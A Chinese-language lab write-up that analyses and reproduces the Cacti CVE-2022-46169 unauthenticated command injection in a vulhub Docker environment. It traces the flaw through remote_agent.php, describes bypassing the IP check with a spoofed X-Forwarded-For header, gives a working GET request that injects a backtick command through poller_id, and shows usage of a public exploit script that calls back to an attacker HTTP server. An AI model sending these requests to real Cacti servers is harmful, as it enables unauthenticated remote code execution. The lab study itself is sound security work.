漏洞介绍
Cacti 是一个开源平台,为用户提供了一个强大且可扩展的操作监控和故障管理框架。在受影响的版本中,如果为任何受监控设备选择了特定数据源,则命令注入漏洞允许未经身份验证的用户在运行 Cacti 的服务器上执行任意代码。
漏洞范围
Cacti 1.2.17-1.2.22
漏洞靶场
使用vulhub的靶场:
vulhub-master/cacti/CVE-2022-46169
启动靶场环境:
1 | docker-compose up -d |
服务启动后,访问http://your-ip:8080即可查看到Cacti的登录页面

用户名和密码都是admin,然后begin一路next默认安装就可以

安装好后如下图

这个漏洞的利用需要Cacti应用中至少存在一个类似是POLLER_ACTION_SCRIPT_PHP的采集器。所以,我们在Cacti后台首页创建一个新的Graph:

选择的Graph Type是“Device - Uptime”,点击创建:

漏洞原理
根据commit的提示


我们启动php编译环境进去先看一下auth_login.php文件查看(这里就采用静态审计的方法了),因为commit大部分会围绕get_client_addr()进行修复,我们可以跟进看一下这个函数

auth_login.php#L164
我们来到这一页,很显然易见的发现的一点,用户传过来的所有信息是用户可操控的(指的是可以通过改包来操控),在修复版本中修改的代码则是限制了获取,不让从这些可控的参数中取值,因此可以猜测这个与登录绕过存在关系。
这个文件就到这里,其实最多是集中在remote_agent.php这个文件中,我们进去看一下,首先发现有多php资源的加载和获取,但是没有什么可说的,直接往下

remote_agent.php#L53-L56
这里有一个认证身份的代码块,我在本地测试时候也遇到过,跟进函数看一下

remote_agent.php#L135-L144
很明显又遇到了get_client_addr()函数,而且我们知道他的功能是获取网页用户的信息,再往下看,我也写了注释,这里会发起一些检测ip地址等操作,不用理会,往下看
1 | $pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id); //sql语句,进行从poller表中获取所有的$pollers |
remote_agent.php#L154
到了这句我们发现执行了个sql查询,我在本地sql服务查了这个表之后

再往下看就是一个判断,大致是对ip进行身份验证,然后进行返回,其实很容易看出来是在验证是否为本地ip地址,这里鸡肋的一点是如果在渗透性测试的时候需要进行一个ip字段爆破,获得host主机域名(内网)
1 | $client_name = gethostbyaddr($client_addr); |
remote_agent.php#L146

remote_agent.php#L156-L169
身份鉴权绕过大致是这样,由于我们参数可控,可以采用暴力猜解等方法,进行爆ip和构造X-Fowarded-For:127.0.0.1(在linux里面通常127.0.0.1就是localhost,win系统偶尔会出问题)等等。
命令注入:
我们再回到原来的位置,继续向下,这里有一个set_default_action();我们可以进去看一下执行了什么

就是是否存在 action 参数,不存在就设置为 $default ,存在就对其进行赋值,这里是 $_REQUEST ,可以是 post 或者 get,这里记住action参数的出现,我们回去继续向下,接下来会触发switch····case如果action是polldata就会执行poll_for_data();函数,而这个函数是被修复的

我们跟进去看一下,接下来重头戏来了,首先我们可以看到参数的获取,他们是从get_filter_request_var()函数获取,我们可以看一下发现几乎没有任何过滤,就是从请求拿信息,这也对照了POC里面三个参数的来源
1 | $local_data_ids = get_nfilter_request_var('local_data_ids'); //是一个数组 |
remote_agent.php#L299-L301
继续往下看

remote_agent.php#L306-L321
不难发现会根据 $host_id 和 $local_data_ids会被作为sql查询的标准来从poller_item这个表里面找信息,然后存到数组 $items,本地查了一下,这里刚好发现里面有action这个参数,猜测可能要获取action的值
接下来会进入一个switch···case,这里会用action的值进行选择,这里显然易见发现一个命令执行,这里是在$poller_id这里,和上面的获取参数就呼应了
1 | $cactiphp = proc_open(read_config_option('path_php_binary') . ' -q ' . $config['base_path'] . '/script_server.php realtime ' . $poller_id, $cactides, $pipes); |
remote_agent.php#L385
然后对标case:POLLER_ACTION_SCRIPT_PHP发现他被定义成2,就是action=2,这里也说明了上面两个参数的作用,在真实的渗透场景可能需要爆字段来获取
漏洞复现
完成初始化后,我们切换到攻击者的角色。作为攻击者,发送如下数据包:
1 | GET /remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`touch+/tmp/success` HTTP/1.1 |

虽然响应包里没有回显,但是进入容器中即可发现/tmp/success已成功被创建:

poc使用
https://github.com/sAsPeCt488/CVE-2022-46169
用法
1 | python .\CVE-2022-46169.py http://192.168.159.132:8080 -c '命令' |
192.168.159.1开启一个http服务器

执行poc

可以看到有请求

命令执行成功
参考
https://blog.csdn.net/2301_79708753/article/details/140810267
https://github.com/vulhub/vulhub/blob/master/cacti/CVE-2022-46169/README.zh-cn.md